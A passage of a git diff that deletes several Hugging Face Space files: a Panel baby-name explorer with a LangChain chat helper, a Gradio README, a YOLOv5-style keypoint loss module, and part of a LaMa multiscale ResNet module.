-        self.chat_interface = pn.chat.ChatInterface(
-            show_button_name=False,
-            callback=self._prompt_ai,
-            height=500,
-            styles={"background": "white"},
-            disabled=True,
-        )
-        self.chat_interface.send(
-            value=(
-                "Ask me about name suggestions or their history! "
-                "To add suggested names, click the button below!"
-            ),
-            user="System",
-            respond=False,
-        )
-        self.parse_ai_button = pn.widgets.Button(
-            name="Parse and Add Names",
-            button_style="outline",
-            button_type="primary",
-            disabled=True,
-        )
-        self.last_ai_output = None
-        pn.state.onload(self._initialize_database)
-
-    # Database Methods
-
-    def _initialize_database(self):
-        """
-        Initialize database with data from the Social Security Administration.
-        """
-        self.conn = duckdb.connect(":memory:")
-        df = pd.concat(
-            [
-                pd.read_csv(
-                    path,
-                    header=None,
-                    names=["state", "gender", "year", "name", "count"],
-                )
-                for path in Path("data").glob("*.TXT")
-            ]
-        )
-        df_processed = (
-            df.groupby(["gender", "year", "name"], as_index=False)[["count"]]
-            .sum()
-            .pivot(index=["name", "year"], columns="gender", values="count")
-            .reset_index()
-            .rename(columns={"F": "female", "M": "male"})
-            .fillna(0)
-        )
-        self.conn.execute("DROP TABLE IF EXISTS names")
-        self.conn.execute("CREATE TABLE names AS SELECT * FROM df_processed")
-
-        if self.names_choice.value == []:
-            self.names_choice.value = ["Andrew"]
-        else:
-            self.names_choice.param.trigger("value")
-        self.main.objects = [self.holoviews_pane]
-
-        # Start AI
-        self.callback_handler = pn.chat.langchain.PanelCallbackHandler(
-            self.chat_interface
-        )
-        self.chat_openai = ChatOpenAI(
-            max_tokens=75,
-            streaming=True,
-            callbacks=[self.callback_handler],
-        )
-        self.openai = OpenAI(max_tokens=75)
-        memory = ConversationBufferMemory()
-        self.conversation_chain = ConversationChain(
-            llm=self.chat_openai, memory=memory, callbacks=[self.callback_handler]
-        )
-        self.chat_interface.disabled = False
-        self.parse_ai_button.on_click(self._parse_ai_output)
-        self.pydantic_parser = PydanticOutputParser(pydantic_object=FirstNames)
-        self.prompt_template = PromptTemplate(
-            template="{format_instructions}\n{input}\n",
-            input_variables=["input"],
-            partial_variables={"format_instructions": self.pydantic_parser.get_format_instructions()},
-        )
-
-    def _query_names(self, names):
-        """
-        Query the database for the given name.
-        """
-        dfs = []
-        for name in names:
-            if "*" in name or "%" in name:
-                name = name.replace("*", "%")
-                top_names_query = TOP_NAMES_WILDCARD_QUERY
-            else:
-                top_names_query = TOP_NAMES_SELECT_QUERY
-            top_names = (
-                self.conn.execute(top_names_query, [name.lower()])
-                .fetch_df()["name"]
-                .tolist()
-            )
-            if len(top_names) == 0:
-                pn.state.notifications.info(f"No names found matching {name!r}")
-                continue
-            data_query = DATA_QUERY.format(
-                placeholders=", ".join(["?"] * len(top_names))
-            )
-            df = self.conn.execute(data_query, top_names).fetch_df()
-            dfs.append(df)
-
-        if len(dfs) > 0:
-            self.df = pd.concat(dfs).drop_duplicates(
-                subset=["name", "year", "male", "female"]
-            )
-        else:
-            self.df = pd.DataFrame(columns=["name", "year", "male", "female"])
-
-    # Widget Methods
-
-    def _randomize_name(self, event):
-        name_pattern = self.name_pattern.value.lower()
-        if not name_pattern:
-            name_pattern = "%"
-        else:
-            name_pattern = name_pattern.replace("*", "%")
-        if not name_pattern.startswith("%"):
-            name_pattern = name_pattern.title()
-
-        count_range = self.count_range.value
-        gender_select = self.gender_select.value.lower()
-        random_names = (
-            self.conn.execute(
-                RANDOM_NAME_QUERY, [name_pattern, *count_range, gender_select]
-            ).fetch_df()["name"]
-            .tolist()
-        )
-        print(len(random_names))
-        if random_names:
-            for i in range(len(random_names)):
-                random_name = random_names[i]
-                if random_name in self.names_choice.value:
-                    continue
-                self.names_input.value = random_name
-                break
-            else:
-                pn.state.notifications.info(
-                    "All names matching the criteria are already added!"
-                )
-        else:
-            pn.state.notifications.info("No names found matching the criteria!")
-
-    def _add_only_unique_names(self, names):
-        value = self.names_choice.value.copy()
-        options = self.names_choice.options.copy()
-        for name in names:
-            if " " in name:
-                name = name.split(" ", 1)[0]
-            if name not in options:
-                options.append(name)
-            if name not in value:
-                value.append(name)
-        self.names_choice.param.update(
-            options=options,
-            value=value,
-        )
-
-    def _add_name(self, event):
-        name = event.new.strip().title()
-        self.names_input.value = ""
-        if not name:
-            return
-        elif name in self.names_choice.options and name in self.names_choice.value:
-            pn.state.notifications.info(f"{name!r} already added!")
-            return
-        elif len(self.names_choice.value) > 10:
-            pn.state.notifications.info(
-                "Maximum of 10 names allowed; please remove some first!"
-            )
-            return
-        self._add_only_unique_names([name])
-
-    async def _prompt_ai(self, contents, user, instance):
-        if self.llm_use_counter >= MAX_LLM_COUNT:
-            pn.state.notifications.info(
-                "Sorry, all the available AI credits have been used!"
-            )
-            return
-
-        prompt = (
-            f"One sentence reply to {contents!r} or concisely suggest other relevant names; "
-            f"if no name is provided use {self.names_choice.value[-1]!r}."
-        )
-        print(prompt)
-        self.last_ai_output = await self.conversation_chain.apredict(
-            input=prompt,
-            callbacks=[self.callback_handler],
-        )
-        self.parse_ai_button.disabled = False
-        self.llm_use_counter += 1
-    
-    async def _parse_ai_output(self, _):
-        if self.llm_use_counter >= MAX_LLM_COUNT:
-            pn.state.notifications.info(
-                "Sorry, all the available AI credits have been used!"
-            )
-            return
-
-        if self.last_ai_output is None:
-            pn.state.notifications.info("No available AI output to parse!")
-            return
-
-        try:
-            names_prompt = self.prompt_template.format_prompt(input=self.last_ai_output).to_string()
-            names_text = await self.openai.apredict(names_prompt)
-            new_names = (await self.pydantic_parser.aparse(names_text)).names
-            print(new_names)
-            self._add_only_unique_names(new_names)
-        except Exception:
-            pn.state.notifications.error("Failed to parse AI output.")
-        finally:
-            self.last_ai_output = None
-
-    # Plot Methods
-    def _click_plot(self, index):
-        gender_nd_overlay = hv.NdOverlay(kdims=["Gender"])
-        if not index:
-            return hv.NdOverlay(
-                {
-                    "curve": self._curve_nd_overlay,
-                    "scatter": self._scatter_nd_overlay,
-                    "label": self._label_nd_overlay,
-                }
-            )
-
-        name = self._name_indices[index[0]]
-        df_name = self.df.loc[self.df["name"] == name].copy()
-        df_name["female"] += df_name["male"]
-        gender_nd_overlay["Male"] = hv.Area(
-            df_name, ["year"], ["male"], label="Male"
-        ).opts(alpha=0.3, color="#add8e6", line_alpha=0)
-        gender_nd_overlay["Female"] = hv.Area(
-            df_name, ["year"], ["male", "female"], label="Female"
-        ).opts(alpha=0.3, color="#ffb6c1", line_alpha=0)
-        return hv.NdOverlay(
-            {
-                "curve": self._curve_nd_overlay[[index[0]]],
-                "scatter": self._scatter_nd_overlay,
-                "label": self._label_nd_overlay[[index[0]]].opts(text_color="black"),
-                "gender": gender_nd_overlay,
-            },
-            kdims=["Gender"],
-        ).opts(legend_position="top_left")
-
-    def _update_plot(self, event):
-        names = event.new
-        print(names)
-        self._query_names(names)
-
-        self._scatter_nd_overlay = hv.NdOverlay()
-        self._curve_nd_overlay = hv.NdOverlay(kdims=["Name"]).opts(
-            gridstyle={"xgrid_line_width": 0},
-            show_grid=True,
-            fontscale=1.28,
-            xlabel="Year",
-            ylabel="Count",
-            yformatter=NumeralTickFormatter(format="0.0a"),
-            legend_limit=0,
-            padding=(0.2, 0.05),
-            title="Name Chronicles",
-            responsive=True,
-        )
-        self._label_nd_overlay = hv.NdOverlay(kdims=["Name"])
-        hover_tool = HoverTool(
-            tooltips=[("Name", "@name"), ("Year", "@year"), ("Count", "@count")],
-        )
-        self._name_indices = {}
-        for i, (name, df_name) in enumerate(self.df.groupby("name")):
-            df_name_total = df_name.groupby(
-                ["name", "year", "male", "female"], as_index=False
-            )["count"].sum()
-            df_name_total["male"] = df_name_total["male"] / df_name_total["count"]
-            df_name_total["female"] = df_name_total["female"] / df_name_total["count"]
-            df_name_peak = df_name.loc[[df_name["count"].idxmax()]]
-            df_name_peak[
-                "label"
-            ] = f'{df_name_peak["name"].item()} ({df_name_peak["year"].item()})'
-
-            hover_tool = HoverTool(
-                tooltips=[
-                    ("Name", "@name"),
-                    ("Year", "@year"),
-                    ("Count", "@count{(0a)}"),
-                    ("Male", "@male{(0%)}"),
-                    ("Female", "@female{(0%)}"),
-                ],
-            )
-            self._scatter_nd_overlay[i] = hv.Scatter(
-                df_name_total, ["year"], ["count", "male", "female", "name"], label=name
-            ).opts(
-                color=self.scatter_cycle,
-                size=4,
-                alpha=0.15,
-                marker="y",
-                tools=["tap", hover_tool],
-                line_width=3,
-                show_legend=False,
-            )
-            self._curve_nd_overlay[i] = hv.Curve(
-                df_name_total, ["year"], ["count"], label=name
-            ).opts(
-                color=self.curve_cycle,
-                tools=["tap"],
-                line_width=3,
-            )
-            self._label_nd_overlay[i] = hv.Labels(
-                df_name_peak, ["year", "count"], ["label"], label=name
-            ).opts(
-                text_align="right",
-                text_baseline="bottom",
-                text_color=self.label_cycle,
-            )
-            self._name_indices[i] = name
-        self.selection.source = self._curve_nd_overlay
-        if len(self._name_indices) == 1:
-            self.selection.update(index=[0])
-        else:
-            self.selection.update(index=[])
-        self.dynamic_map = hv.DynamicMap(
-            self._click_plot, kdims=[], streams=[self.selection]
-        ).opts(responsive=True)
-        self._refresh_plot()
-
-    def _refresh_plot(self, event=None):
-        self.holoviews_pane.object = self.dynamic_map.clone()
-
-    def view(self):
-        reset_row = pn.Row(self.clear_button, self.refresh_button)
-        data_url = pn.pane.Markdown(
-            "<center>Data from the <a href='https://www.ssa.gov/oact/babynames/limits.html' "
-            "target='_blank'>U.S. Social Security Administration</a></center>",
-            align="end",
-        )
-        sidebar = pn.Column(
-            INSTRUCTIONS,
-            self.names_input,
-            self.names_choice,
-            reset_row,
-            pn.layout.Divider(),
-            self.chat_interface,
-            self.parse_ai_button,
-            self.randomize_pane,
-            data_url,
-        )
-        self.main = pn.Column(
-            pn.widgets.StaticText(
-                value="Loading, this may take a few seconds...",
-                sizing_mode="stretch_both",
-            ),
-        )
-        template = pn.template.FastListTemplate(
-            sidebar_width=500,
-            sidebar=[sidebar],
-            main=[self.main],
-            title="Name Chronicles",
-            theme="dark",
-        )
-        return template
-
-
-NameChronicles().view().servable()
diff --git a/spaces/akhaliq/CarperAI-diff-codegen-350m-v2/README.md b/spaces/akhaliq/CarperAI-diff-codegen-350m-v2/README.md
deleted file mode 100644
index 4996ce04b1392d3734a22d21f93036305fff9536..0000000000000000000000000000000000000000
--- a/spaces/akhaliq/CarperAI-diff-codegen-350m-v2/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: CarperAI Diff Codegen 350m V2
-emoji: 😻
-colorFrom: blue
-colorTo: yellow
-sdk: gradio
-sdk_version: 3.16.2
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/akhaliq/Kapao/utils/loss.py b/spaces/akhaliq/Kapao/utils/loss.py
deleted file mode 100644
index 9c34cbeff24d6650b67dec789c5e55c983d2a728..0000000000000000000000000000000000000000
--- a/spaces/akhaliq/Kapao/utils/loss.py
+++ /dev/null
@@ -1,262 +0,0 @@
-# YOLOv5 🚀 by Ultralytics, GPL-3.0 license
-"""
-Loss functions
-"""
-
-import torch
-import torch.nn as nn
-
-from utils.metrics import bbox_iou
-from utils.torch_utils import is_parallel
-
-
-def smooth_BCE(eps=0.1):  # https://github.com/ultralytics/yolov3/issues/238#issuecomment-598028441
-    # return positive, negative label smoothing BCE targets
-    return 1.0 - 0.5 * eps, 0.5 * eps
-
-
-class BCEBlurWithLogitsLoss(nn.Module):
-    # BCEwithLogitLoss() with reduced missing label effects.
-    def __init__(self, alpha=0.05):
-        super(BCEBlurWithLogitsLoss, self).__init__()
-        self.loss_fcn = nn.BCEWithLogitsLoss(reduction='none')  # must be nn.BCEWithLogitsLoss()
-        self.alpha = alpha
-
-    def forward(self, pred, true):
-        loss = self.loss_fcn(pred, true)
-        pred = torch.sigmoid(pred)  # prob from logits
-        dx = pred - true  # reduce only missing label effects
-        # dx = (pred - true).abs()  # reduce missing label and false label effects
-        alpha_factor = 1 - torch.exp((dx - 1) / (self.alpha + 1e-4))
-        loss *= alpha_factor
-        return loss.mean()
-
-
-class FocalLoss(nn.Module):
-    # Wraps focal loss around existing loss_fcn(), i.e. criteria = FocalLoss(nn.BCEWithLogitsLoss(), gamma=1.5)
-    def __init__(self, loss_fcn, gamma=1.5, alpha=0.25):
-        super(FocalLoss, self).__init__()
-        self.loss_fcn = loss_fcn  # must be nn.BCEWithLogitsLoss()
-        self.gamma = gamma
-        self.alpha = alpha
-        self.reduction = loss_fcn.reduction
-        self.loss_fcn.reduction = 'none'  # required to apply FL to each element
-
-    def forward(self, pred, true):
-        loss = self.loss_fcn(pred, true)
-        # p_t = torch.exp(-loss)
-        # loss *= self.alpha * (1.000001 - p_t) ** self.gamma  # non-zero power for gradient stability
-
-        # TF implementation https://github.com/tensorflow/addons/blob/v0.7.1/tensorflow_addons/losses/focal_loss.py
-        pred_prob = torch.sigmoid(pred)  # prob from logits
-        p_t = true * pred_prob + (1 - true) * (1 - pred_prob)
-        alpha_factor = true * self.alpha + (1 - true) * (1 - self.alpha)
-        modulating_factor = (1.0 - p_t) ** self.gamma
-        loss *= alpha_factor * modulating_factor
-
-        if self.reduction == 'mean':
-            return loss.mean()
-        elif self.reduction == 'sum':
-            return loss.sum()
-        else:  # 'none'
-            return loss
-
-
-class QFocalLoss(nn.Module):
-    # Wraps Quality focal loss around existing loss_fcn(), i.e. criteria = FocalLoss(nn.BCEWithLogitsLoss(), gamma=1.5)
-    def __init__(self, loss_fcn, gamma=1.5, alpha=0.25):
-        super(QFocalLoss, self).__init__()
-        self.loss_fcn = loss_fcn  # must be nn.BCEWithLogitsLoss()
-        self.gamma = gamma
-        self.alpha = alpha
-        self.reduction = loss_fcn.reduction
-        self.loss_fcn.reduction = 'none'  # required to apply FL to each element
-
-    def forward(self, pred, true):
-        loss = self.loss_fcn(pred, true)
-
-        pred_prob = torch.sigmoid(pred)  # prob from logits
-        alpha_factor = true * self.alpha + (1 - true) * (1 - self.alpha)
-        modulating_factor = torch.abs(true - pred_prob) ** self.gamma
-        loss *= alpha_factor * modulating_factor
-
-        if self.reduction == 'mean':
-            return loss.mean()
-        elif self.reduction == 'sum':
-            return loss.sum()
-        else:  # 'none'
-            return loss
-
-
-class ComputeLoss:
-    # Compute losses
-    def __init__(self, model, autobalance=False, num_coords=0):
-        super(ComputeLoss, self).__init__()
-        self.sort_obj_iou = False
-        device = next(model.parameters()).device  # get model device
-        h = model.hyp  # hyperparameters
-
-        # Define criteria
-        BCEcls = nn.BCEWithLogitsLoss(pos_weight=torch.tensor([h['cls_pw']], device=device))
-        BCEobj = nn.BCEWithLogitsLoss(pos_weight=torch.tensor([h['obj_pw']], device=device))
-
-        # Class label smoothing https://arxiv.org/pdf/1902.04103.pdf eqn 3
-        self.cp, self.cn = smooth_BCE(eps=h.get('label_smoothing', 0.0))  # positive, negative BCE targets
-
-        # Focal loss
-        g = h['fl_gamma']  # focal loss gamma
-        if g > 0:
-            BCEcls, BCEobj = FocalLoss(BCEcls, g), FocalLoss(BCEobj, g)
-
-        det = model.module.model[-1] if is_parallel(model) else model.model[-1]  # Detect() module
-        self.balance = {3: [4.0, 1.0, 0.4]}.get(det.nl, [4.0, 1.0, 0.25, 0.06, .02])  # P3-P7
-        self.ssi = list(det.stride).index(16) if autobalance else 0  # stride 16 index
-        self.BCEcls, self.BCEobj, self.gr, self.hyp, self.autobalance = BCEcls, BCEobj, 1.0, h, autobalance
-
-        if self.autobalance:
-            self.loss_coeffs = model.module.loss_coeffs if is_parallel(model) else model.loss_coeffs[-1]
-
-        # for k in 'na', 'nc', 'nl', 'anchors':
-        #     setattr(self, k, getattr(det, k))
-        self.num_coords = num_coords
-        self.na = det.na
-        self.nc = det.nc
-        self.nl = det.nl
-        self.anchors = det.anchors
-
-    def __call__(self, p, targets):  # predictions, targets, model
-        device = targets.device
-        lcls = torch.zeros(1, device=device)
-        lbox = torch.zeros(1, device=device)
-        lobj = torch.zeros(1, device=device)
-        lkps = torch.zeros(1, device=device)  # keypoint loss
-        tcls, tbox, tkps, indices, anchors = self.build_targets(p, targets)  # targets
-
-        # Losses
-        for i, pi in enumerate(p):  # layer index, layer predictions
-            b, a, gj, gi = indices[i]  # image, anchor, gridy, gridx
-            tobj = torch.zeros_like(pi[..., 0], device=device)  # target obj
-
-            n = b.shape[0]  # number of targets
-            if n:
-                ps = pi[b, a, gj, gi]  # prediction subset corresponding to targets
-
-                # Regression
-                pxy = ps[:, :2].sigmoid() * 2. - 0.5
-                pwh = (ps[:, 2:4].sigmoid() * 2) ** 2 * anchors[i]  # range [0, 4] * anchor
-                pbox = torch.cat((pxy, pwh), 1)  # predicted box
-                iou = bbox_iou(pbox.T, tbox[i], x1y1x2y2=False, CIoU=True)  # iou(prediction, target)
-                lbox += (1.0 - iou).mean()  # iou loss
-
-                # Keypoints
-                if self.num_coords:
-                    tkp = tkps[i]
-                    vis = tkp[..., 2] > 0
-                    tkp_vis = tkp[vis]
-                    if len(tkp_vis):
-                        pkp = ps[:, 5 + self.nc:].reshape((-1, self.num_coords // 2, 2))
-                        pkp = (pkp.sigmoid() * 4. - 2.) * anchors[i][:, None, :]  # range [-2, 2] * anchor
-                        pkp_vis = pkp[vis]
-                        l2 = torch.linalg.norm(pkp_vis - tkp_vis[..., :2], dim=-1)
-                        lkps += torch.mean(l2)
-
-                # Objectness
-                score_iou = iou.detach().clamp(0).type(tobj.dtype)
-                if self.sort_obj_iou:
-                    sort_id = torch.argsort(score_iou)
-                    b, a, gj, gi, score_iou = b[sort_id], a[sort_id], gj[sort_id], gi[sort_id], score_iou[sort_id]
-                tobj[b, a, gj, gi] = (1.0 - self.gr) + self.gr * score_iou  # iou ratio
-
-                # Classification
-                if self.nc > 1:  # cls loss (only if multiple classes)
-                    t = torch.full_like(ps[:, 5:5 + self.nc], self.cn, device=device)  # targets
-                    t[range(n), tcls[i]] = self.cp
-                    lcls += self.BCEcls(ps[:, 5:5 + self.nc], t)  # BCE
-
-                # Append targets to text file
-                # with open('targets.txt', 'a') as file:
-                #     [file.write('%11.5g ' * 4 % tuple(x) + '\n') for x in torch.cat((txy[i], twh[i]), 1)]
-
-            obji = self.BCEobj(pi[..., 4], tobj)
-            lobj += obji * self.balance[i]  # obj loss
-
-        lbox *= self.hyp['box']
-        lobj *= self.hyp['obj']
-        lcls *= self.hyp['cls']
-        lkps *= self.hyp['kp']
-
-        if self.autobalance:
-            loss = (lbox + lobj + lcls) / (torch.exp(2 * self.loss_coeffs[0])) + self.loss_coeffs[0]
-            loss += lkps / (torch.exp(2 * self.loss_coeffs[1])) + self.loss_coeffs[1]
-        else:
-            loss = lbox + lobj + lcls + lkps
-
-        bs = tobj.shape[0]  # batch size
-
-        return loss * bs, torch.cat((lbox, lobj, lcls, lkps)).detach()
-
-    def build_targets(self, p, targets):
-        # Build targets for compute_loss(), input targets(image,class,x,y,w,h, x1,y1,v1, ..., x17,y17,v17)
-        na, nt = self.na, targets.shape[0]  # number of anchors, targets
-        tcls, tbox, tkps, indices, anch = [], [], [], [], []
-        gain = torch.ones(7 + self.num_coords * 3 // 2, device=targets.device)  # normalized to gridspace gain
-        ai = torch.arange(na, device=targets.device).float().view(na, 1).repeat(1, nt)  # same as .repeat_interleave(nt)
-        targets = torch.cat((targets.repeat(na, 1, 1), ai[:, :, None]), 2)  # append anchor indices
-
-        g = 0.5  # bias
-        off = torch.tensor([[0, 0],
-                            [1, 0], [0, 1], [-1, 0], [0, -1],  # j,k,l,m
-                            # [1, 1], [1, -1], [-1, 1], [-1, -1],  # jk,jm,lk,lm
-                            ], device=targets.device).float() * g  # offsets
-
-        for i in range(self.nl):
-            anchors = self.anchors[i]
-            xy_gain = torch.tensor(p[i].shape)[[3, 2]]
-            gain[2:4] = xy_gain
-            gain[4:6] = xy_gain
-            for j in range(self.num_coords // 2):
-                kp_idx = 6 + j * 3
-                gain[kp_idx:kp_idx + 2] = xy_gain
-
-            # Match targets to anchors
-            t = targets * gain
-            if nt:
-                # Matches
-                r = t[:, :, 4:6] / anchors[:, None]  # wh ratio
-                j = torch.max(r, 1. / r).max(2)[0] < self.hyp['anchor_t']  # compare
-                # j = wh_iou(anchors, t[:, 4:6]) > model.hyp['iou_t']  # iou(3,n)=wh_iou(anchors(3,2), gwh(n,2))
-                t = t[j]  # filter
-
-                # Offsets
-                gxy = t[:, 2:4]  # grid xy
-                gxi = gain[[2, 3]] - gxy  # inverse
-                j, k = ((gxy % 1. < g) & (gxy > 1.)).T
-                l, m = ((gxi % 1. < g) & (gxi > 1.)).T
-                j = torch.stack((torch.ones_like(j), j, k, l, m))
-                t = t.repeat((5, 1, 1))[j]
-                offsets = (torch.zeros_like(gxy)[None] + off[:, None])[j]
-            else:
-                t = targets[0]
-                offsets = 0
-
-            # Define
-            b = t[:, 0].long()  # image
-            c = t[:, 1].long()  # class
-            gxy = t[:, 2:4]  # grid xy
-            gwh = t[:, 4:6]  # grid wh
-            gij = (gxy - offsets).long()
-            gi, gj = gij.T  # grid xy indices
-
-            if self.num_coords:
-                kp = t[:, 6:-1].reshape(-1, self.num_coords // 2, 3)
-                kp[..., :2] -= gij[:, None, :]  # grid kp relative to grid box anchor
-                tkps.append(kp)
-
-            # Append
-            a = t[:, -1].long()  # anchor indices
-            indices.append((b, a, gj.clamp_(0, gain[3] - 1), gi.clamp_(0, gain[2] - 1)))  # image, anchor, grid indices
-            tbox.append(torch.cat((gxy - gij, gwh), 1))  # box
-            anch.append(anchors[a])  # anchors
-            tcls.append(c)  # class
-
-        return tcls, tbox, tkps, indices, anch
diff --git a/spaces/akhaliq/lama/saicinpainting/training/modules/multiscale.py b/spaces/akhaliq/lama/saicinpainting/training/modules/multiscale.py
deleted file mode 100644
index 65f0a54925593e9da8106bfc6d65a4098ce001d7..0000000000000000000000000000000000000000
--- a/spaces/akhaliq/lama/saicinpainting/training/modules/multiscale.py
+++ /dev/null
@@ -1,244 +0,0 @@
-from typing import List, Tuple, Union, Optional
-
-import torch
-import torch.nn as nn
-import torch.nn.functional as F
-
-from saicinpainting.training.modules.base import get_conv_block_ctor, get_activation
-from saicinpainting.training.modules.pix2pixhd import ResnetBlock
-
-
-class ResNetHead(nn.Module):
-    def __init__(self, input_nc, ngf=64, n_downsampling=3, n_blocks=9, norm_layer=nn.BatchNorm2d,
-                 padding_type='reflect', conv_kind='default', activation=nn.ReLU(True)):
-        assert (n_blocks >= 0)
-        super(ResNetHead, self).__init__()
-
-        conv_layer = get_conv_block_ctor(conv_kind)
-
-        model = [nn.ReflectionPad2d(3),
-                 conv_layer(input_nc, ngf, kernel_size=7, padding=0),
-                 norm_layer(ngf),
-                 activation]
-
-        ### downsample
-        for i in range(n_downsampling):
-            mult = 2 ** i
-            model += [conv_layer(ngf * mult, ngf * mult * 2, kernel_size=3, stride=2, padding=1),
-                      norm_layer(ngf * mult * 2),
-                      activation]
-
-        mult = 2 ** n_downsampling
-
-        ### resnet blocks
-        for i in range(n_blocks):
-            model += [ResnetBlock(ngf * mult, padding_type=padding_type, activation=activation, norm_layer=norm_layer,
-                                  conv_kind=conv_kind)]
-
-        self.model = nn.Sequential(*model)
-
-    def forward(self, input):
-        return self.model(input)
-
-
-class ResNetTail(nn.Module):
-    def __init__(self, output_nc, ngf=64, n_downsampling=3, n_blocks=9, norm_layer=nn.BatchNorm2d,
-                 padding_type='reflect', conv_kind='default', activation=nn.ReLU(True),
-                 up_norm_layer=nn.BatchNorm2d, up_activation=nn.ReLU(True), add_out_act=False, out_extra_layers_n=0,
-                 add_in_proj=None):
-        assert (n_blocks >= 0)
-        super(ResNetTail, self).__init__()
-
-        mult = 2 ** n_downsampling
-
-        model = []
-
-        if add_in_proj is not None:
-            model.append(nn.Conv2d(add_in_proj, ngf * mult, kernel_size=1))
-
-        ### resnet blocks
-        for i in range(n_blocks):
-            model += [ResnetBlock(ngf * mult, padding_type=padding_type, activation=activation, norm_layer=norm_layer,
-                                  conv_kind=conv_kind)]
-
-        ### upsample
-        for i in range(n_downsampling):
-            mult = 2 ** (n_downsampling - i)
-            model += [nn.ConvTranspose2d(ngf * mult, int(ngf * mult / 2), kernel_size=3, stride=2, padding=1,
-                                         output_padding=1),
-                      up_norm_layer(int(ngf * mult / 2)),
-                      up_activation]
-        self.model = nn.Sequential(*model)
-
-        out_layers = []
-        for _ in range(out_extra_layers_n):
-            out_layers += [nn.Conv2d(ngf, ngf, kernel_size=1, padding=0),
-                           up_norm_layer(ngf),
-                           up_activation]
-        out_layers += [nn.ReflectionPad2d(3),
-                       nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0)]
-
-        if add_out_act:
-            out_layers.append(get_activation('tanh' if add_out_act is True else add_out_act))
-
-        self.out_proj = nn.Sequential(*out_layers)
-
-    def forward(self, input, return_last_act=False):
-        features = self.model(input)
-        out = self.out_proj(features)
-        if return_last_act:
-            return out, features
-        else:
-            return out
-
-
-class MultiscaleResNet(nn.Module):
-    def __init__(self, input_nc, output_nc, ngf=64, n_downsampling=2, n_blocks_head=2, n_blocks_tail=6, n_scales=3,
-                 norm_layer=nn.BatchNorm2d, padding_type='reflect', conv_kind='default', activation=nn.ReLU(True),
-                 up_norm_layer=nn.BatchNorm2d, up_activation=nn.ReLU(True), add_out_act=False, out_extra_layers_n=0,
-                 out_cumulative=False, return_only_hr=False):
-        super().__init__()
-
-        self.heads = nn.ModuleList([ResNetHead(input_nc, ngf=ngf, n_downsampling=n_downsampling,
-                                               n_blocks=n_blocks_head, norm_layer=norm_layer, padding_type=padding_type,
-                                               conv_kind=conv_kind, activation=activation)
-                                    for i in range(n_scales)])
-        tail_in_feats = ngf * (2 ** n_downsampling) + ngf
-        self.tails = nn.ModuleList([ResNetTail(output_nc,
-                                               ngf=ngf, n_downsampling=n_downsampling,
-                                               n_blocks=n_blocks_tail, norm_layer=norm_layer, padding_type=padding_type,
-                                               conv_kind=conv_kind, activation=activation, up_norm_layer=up_norm_layer,
-                                               up_activation=up_activation, add_out_act=add_out_act,
-                                               out_extra_layers_n=out_extra_layers_n,
-                                               add_in_proj=None if (i == n_scales - 1) else tail_in_feats)
-                                    for i in range(n_scales)])
-
-        self.out_cumulative = out_cumulative
-        self.return_only_hr = return_only_hr
-
-    @property
-    def num_scales(self):
-        return len(self.heads)
-
-    def forward(self, ms_inputs: List[torch.Tensor], smallest_scales_num: Optional[int] = None) \
-        -> Union[torch.Tensor, List[torch.Tensor]]:
-        """
-        :param ms_inputs: List of inputs of different resolutions from HR to LR
-        :param smallest_scales_num: int or None, number of smallest scales to take at input
-        :return: Depending on return_only_hr:
-            True: Only the most HR output
-            False: List of outputs of different resolutions from HR to LR
-        """
-        if smallest_scales_num is None:
-            assert len(self.heads) == len(ms_inputs), (len(self.heads), len(ms_inputs), smallest_scales_num)
-            smallest_scales_num = len(self.heads)
-        else:
-            assert smallest_scales_num == len(ms_inputs) <= len(self.heads), (len(self.heads), len(ms_inputs), smallest_scales_num)
-
-        cur_heads = self.heads[-smallest_scales_num:]
-        ms_features = [cur_head(cur_inp) for cur_head, cur_inp in zip(cur_heads, ms_inputs)]
-
-        all_outputs = []
-        prev_tail_features = None
-        for i in range(len(ms_features)):
-            scale_i = -i - 1
-
-            cur_tail_input = ms_features[-i - 1]
-            if prev_tail_features is not None:
-                if prev_tail_features.shape != cur_tail_input.shape:
-                    prev_tail_features = F.interpolate(prev_tail_features, size=cur_tail_input.shape[2:],
-                                                       mode='bilinear', align_corners=False)
-                cur_tail_input = torch.cat((cur_tail_input, prev_tail_features), dim=1)
-
-            cur_out, cur_tail_feats = self.tails[scale_i](cur_tail_input, return_last_act=True)
-
-            prev_tail_features = cur_tail_feats
-            all_outputs.append(cur_out)
-
-        if self.out_cumulative:
-            all_outputs_cum = [all_outputs[0]]
-            for i in range(1, len(ms_features)):
-                cur_out = all_outputs[i]
-                cur_out_cum = cur_out + F.interpolate(all_outputs_cum[-1], size=cur_out.shape[2:],
-                                                      mode='bilinear', align_corners=False)
-                all_outputs_cum.append(cur_out_cum)
-            all_outputs = all_outputs_cum
-
-        if self.return_only_hr:
-            return all_outputs[-1]
-        else:
-            return all_outputs[::-1]
-
-
-class MultiscaleDiscriminatorSimple(nn.Module):
-    def __init__(self, ms_impl):
-        super().__init__()
-        self.ms_impl = nn.ModuleList(ms_impl)
-
-    @property
-    def num_scales(self):
-        return len(self.ms_impl)
-
-    def forward(self, ms_inputs: List[torch.Tensor], smallest_scales_num: Optional[int] = None) \
-            -> List[Tuple[torch.Tensor, List[torch.Tensor]]]:
-        """
-        :param ms_inputs: List of inputs of different resolutions from HR to LR
-        :param smallest_scales_num: int or None, number of smallest scales to take at input
-        :return: List of pairs (prediction, features) for different resolutions from HR to LR
-        """
-        if smallest_scales_num is None:
-            assert len(self.ms_impl) == len(ms_inputs), (len(self.ms_impl), len(ms_inputs), smallest_scales_num)
-            smallest_scales_num = len(self.heads)
-        else:
-            assert smallest_scales_num == len(ms_inputs) <= len(self.ms_impl), \
-                (len(self.ms_impl), len(ms_inputs), smallest_scales_num)
-
-        return [cur_discr(cur_input) for cur_discr, cur_input in zip(self.ms_impl[-smallest_scales_num:], ms_inputs)]
-
-
-class SingleToMultiScaleInputMixin:
-    def forward(self, x: torch.Tensor) -> List:
-        orig_height, orig_width = x.shape[2:]
-        factors = [2 ** i for i in range(self.num_scales)]
-        ms_inputs = [F.interpolate(x, size=(orig_height // f, orig_width // f), mode='bilinear', align_corners=False)
-                     for f in factors]
-        return super().forward(ms_inputs)
-
-
-class GeneratorMultiToSingleOutputMixin:
-    def forward(self, x):
-        return super().forward(x)[0]
-
-
-class DiscriminatorMultiToSingleOutputMixin:
-    def forward(self, x):
-        out_feat_tuples = super().forward(x)
